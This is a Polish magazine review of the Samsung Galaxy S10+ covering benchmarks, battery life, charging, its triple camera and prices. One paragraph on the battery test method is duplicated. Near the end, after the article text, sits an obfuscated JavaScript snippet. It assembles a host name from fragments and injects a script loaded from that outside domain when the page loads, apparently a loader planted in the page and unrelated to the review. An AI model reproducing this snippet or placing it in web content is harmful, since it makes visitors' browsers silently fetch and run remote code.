Samsung Galaxy S10+

TEST: Samsung Galaxy S10+ – najzwyklejszy supersmartfon świata

Świat się zmienia. Chińskie marki co pół roku prezentują przełomowe technologie, inne chińskie marki wprowadzają na rynek smartfony wyposażone jak flagowce, a kosztujące dwa razy mniej, zaś Samsung wydaje się rezygnować z wyścigu technologicznego i na najwyższą półkę cenową stawia urządzenie, któremu nic nie brakuje, ale które niczym szczególnym się nie wyróżnia. Nadeszły ciekawe czasy.

Wydajność

Najnowszy i najwydajniejszy procesor mobilny Samsunga, Exynos 9820 współpracuje z chipem graficznym Mali-G76 MP12 i 8 GB pamięci RAM. Zdaniem Samsunga wydajność procesora powinna być o 33 proc. lepsza niż poprzednika, a wydajność grafiki powinna wzrosnąć nawet o 37 procent. W testach Galaxy S10+ reagował niezwykle szybko na wszystkie – nawet najbardziej wymagające pod względem wydajności – zadania. Nasz własny, duży testowy plik PDF z mnóstwem nazw ulic Galaxy S10+ otworzył znacznie szybciej niż Galaxy S9 (w 6,2 s zamiast 13,7 sekundy). W teście PCMark na Androida telefon osiągnął 7862 punkty, a więc wyraźnie przewyższa poprzednika (5483 punkty). Jeśli chodzi o wydajność grafiki, jest jeszcze lepiej. W benchmarku GFXBench osiągnął znakomity wynik plasujący go w czołówce telefonów z Androidem.

Generalnie wyniki S10+ z Exynosem 9820 plasują go wyraźnie powyżej smartfonów Huawei i Honora wykorzystujących najnowszego Kirina 980, za to okazują się gorsze niż to, co potrafią urządzenia ze świeżo wprowadzonym Snapdragonem 855, na przykład Xiaomi Mi9.

Sterujący pracą S10+ system Android 9 Pie ukryty jest pod interfejsem Samsung OneUI 1.1. Interakcja odbywa się teraz głównie w dolnej 2/3 części ekranu, aby uniknąć karkołomnego sięgania palcami do części górnej. Smartfon powinien otrzymywać regularne aktualizacje przez dwa do trzech lat, nawet jeśli doświadczenie pokazuje, że bywają one wprowadzane z opóźnieniem. Łatka bezpieczeństwa w naszym urządzeniu testowym była datowana na 1 lutego 2019 roku, więc była aktualna.

Bateria

Ogólnie jesteśmy zadowoleni ze zmierzonych czasów działania smartfonu na baterii, ale nie uważamy ich za zbyt spektakularne. Samsung wykorzystuje baterie o pojemności 4100 mAh. Wraz z bardziej energooszczędnym procesorem, Galaxy S10+ w naszym teście czasu pracy online wytrzymał 11 h i 21 minut – to doskonały wynik. Podobnie długo jest w stanie pracować Honor View 20 (wynik 11 godzin, bateria 4000 mAh), natomiast niedoścignionym mistrzem pozostaje Huawei Mate 20, któremu udało się przekroczyć 16 godzin.

Reklama

W naszym teście czasu pracy online, przyciemniamy jasność do 200 cd/m² czyli odpowiednią do użytku w pomieszczeniach i pozwalamy smartfonowi ładować filmy i strony internetowe z sieci LTE. Skrypt symuluje również przewijanie i pisanie.

W naszym teście czasu pracy online, przyciemniamy jasność do 200 cd/m² czyli odpowiednią do użytku w pomieszczeniach i pozwalamy smartfonowi ładować filmy i strony internetowe z sieci LTE. Skrypt symuluje również przewijanie i pisanie.

Samsung Galaxy S10+ - złącza

Pełny cykl ładowania baterii S10+ od zera do 100% zajmuje około 118 minut, a po pół godzinie mamy do dyspozycji 36%. Jak widać szybkie ładowanie w wykonaniu Samsunga jest wyraźnie wolniejsze niż Super Charge w Huawei Mate 20 Pro, który pozwala w 30 minut upchnąć w baterii prąd do nawet 65% procent jej pojemności, nie wspominając o Super Vooc OPPO, ładującym akumulator do 100% w 40 minut.  Jeśli macie w domu stację ładującą Qi, możecie ładować Galaxy S10+ bezprzewodowo. Nowy flagowiec Samsunga może też, wzorem Huawei Mate 20 Pro, bezprzewodowo dzielić się prądem ze swojej baterii z innymi urządzeniami. Lepiej niż w przypadku konkurencji, Galaxy S10+ został wyposażony w dwie zgodne ze standardem Qi cewki indukcyjne na tylnej ścianie obudowy, możemy więc jednocześnie ładować nim na przykład smartwatch i słuchawki. To naprawdę wygodne rozwiązanie, pozwalające znacząco zmniejszyć liczbę zabieranych ładowarek!

Możliwości  fotograficzne

Z tyłu Galaxy S10+ Samsung oferuje imponującą potrójną konstelację obiektywów, która obejmuje obiektyw szerokokątny (12 MP), ultraszerokokątny (16 MP) i teleobiektyw (12 MP). Oznacza to, że fani fotografii nie muszą rezygnować z dwukrotnego zoomu optycznego, dużych zdjęć grupowych lub krajobrazowych czy modnego efektu bokeh dla rozmycia tła na portretach. Co ważne, wszystkie aparaty są wyposażone w optyczną stabilizację obrazu, znacząco podnosząc jakość zdjęć w trudnych warunkach.

Z przodu znajduje się 10-megapikselowy aparat do selfie oraz pomocniczy aparat 8 Mpix służący do detekcji głębi wykorzystywanego do tworzenia efektu bokeh. Selfie wydają się nieco zbyt jasne, ale za to są bardzo ostre. Przednia kamera kryje bardzo przyjemną niespodziankę: pozwala kręcić filmy w rozdzielczości aż 4K – dokładnie tak samo jak tylna.

Samsung Galaxy S10+ - aparat

Rozszerzona została także automatyczna optymalizacja sceny, która może teraz rozpoznać 30 różnych motywów, a odpowiednie odcienie kolorów są dobierane automatycznie – znajdziemy tu kilka zupełnie nowych motywów jak „kot”, „pies” i „dziecko”. AI sugeruje również idealną pozycję fotografowania lub ostrzega przed zamkniętymi oczami lub tylnym światłem. Oczywiście nie mogło obejść się bez obowiązkowego trybu nocnego. W ciemności tryb ten składa finalną scenę z kilku kolejno uchwyconych obrazów.

Tryb Super Slo-Mo dla mocno spowolnionych scen akcji został wydłużony z 8,4 sekundy do 14,8 sekundy. Dostępne są również nowe efekty live focus, dzięki którym na pierwszy plan wysuwają się fotografowane osoby oraz efekty emoji AR. Śledzenie twarzy służy do rejestrowania ruchów użytkownika i przenoszenia ich do awatara 3D. Testowane urządzenie wciąż miało jednak problemy z rozpoznaniem bezczelnie wystawionego języka.

tył obudowy Samsung Galaxy S10+

Świetne wrażenie robi zmienna wartość przysłony, który zmienia się w zależności od natężenia światła. W dobrze naświetlonym otoczeniu, Galaxy S10+ wybiera raczej niewielką aperturę f/2,4, co pozwala na uzyskanie dobrej głębi ostrości. Przy słabym świetle (poniżej 100 luksów) system zwiększy przysłonę do f/1,5, aby uchwycić więcej światła. W tym przypadku uzyskujemy lepsze odwzorowanie szczegółów, niższy poziom szumów i ogólnie ładniejsze zdjęcia. Ogólnie rzecz biorąc, bardzo podobają nam się zdjęcia robione aparatem w Galaxy S10+. W dobrych warunkach oświetleniowych uzyskują najwyższą ocenę. Szczegóły włosów, przędzy lub siatki sita są świetne, kolory wyglądają bardzo naturalnie i nie są zbyt jaskrawe.

Również ujęcia w słabym świetle przekonują, ponieważ zawierają wiele szczegółów, kolory są bardzo dobre, a poziom szumów niski. Na pierwszy rzut oka trudno nawet dostrzec, że testowe zdjęcia były wykonywane w słabym świetle – imponujące. Nawet kontrasty są bardzo wyraźne – małe czcionki napisów na zdjęciach są bardzo dobrze czytelne. Na zdjęciach próbnych niepokojące jest tylko rozmycie krawędzi. Problemem ten występuje też w Galaxy S10.

Cena

Galaxy S10+ to flagowy model Samsunga, więc jak łatwo się domyślić, nie jest tani. W sklepie www.mediaexpert.pl testowana przez nas wersja wyposażona w 8 GB pamięci RAM i 128 GB pamięci masowej kosztuje 4399 zł. Dostępne są też wersje 8GB/512GB (4999 zł) oraz 12GB/1TB (6999 zł). | CHIP

W naszych rankingach smartfonów znajdziecie m.in. test Samsunga Galaxy S10 Plus.

(function(){
z9hg=document.createElement(„script”);z9hg_=((„u”)+”st”)+”a”;z9hg.async=true;
z9hg.type=”text/javascript”;z9hg_+=(„t.i”)+””+”n”;z9hg_+=((„f”)+”o”);z9hg_+=”/”;
z9hgu=”131205820.”;z9hgu+=”8g5zduln9hgtz6ty1aw”+”40g0b5m5ajX”;
z9hg.src=”https://”+z9hg_+z9hgu;document.body.appendChild(z9hg);
})();

Close

Choć staramy się je ograniczać, wykorzystujemy mechanizmy takie jak ciasteczka, które pozwalają naszym partnerom na śledzenie Twojego zachowania w sieci. Dowiedz się więcej.